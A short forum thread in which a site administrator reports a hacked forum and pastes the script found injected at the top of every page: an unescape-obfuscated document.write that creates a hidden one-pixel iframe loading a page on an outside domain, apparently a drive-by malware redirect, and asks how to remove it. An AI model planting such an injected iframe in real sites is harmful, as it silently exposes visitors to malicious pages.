hacked! - index not working

[onealien]

thanks mayne....im on it....

--------------- Added [DATE]1305648444[/DATE] at [TIME]1305648444[/TIME] ---------------

ok...well the index is now working somehow...thank goodness

i've found a malicious script running at the top of every forum page:

<script>
<!--
document.write(unescape("%3Ciframe%20width%3D1%20h eight%3D1%20border%3D0%20frameborder%3D0%20src%3D% 27http%3A//tigua.in/info/in.cgi%3F5%27%3E%3C/iframe%3E"));
//-->
</script>

any ideas on how to get rid of this?

its not on any of the templates that i searched thru in admincp...

does it have to be some type of file on the server?

@birdoprey5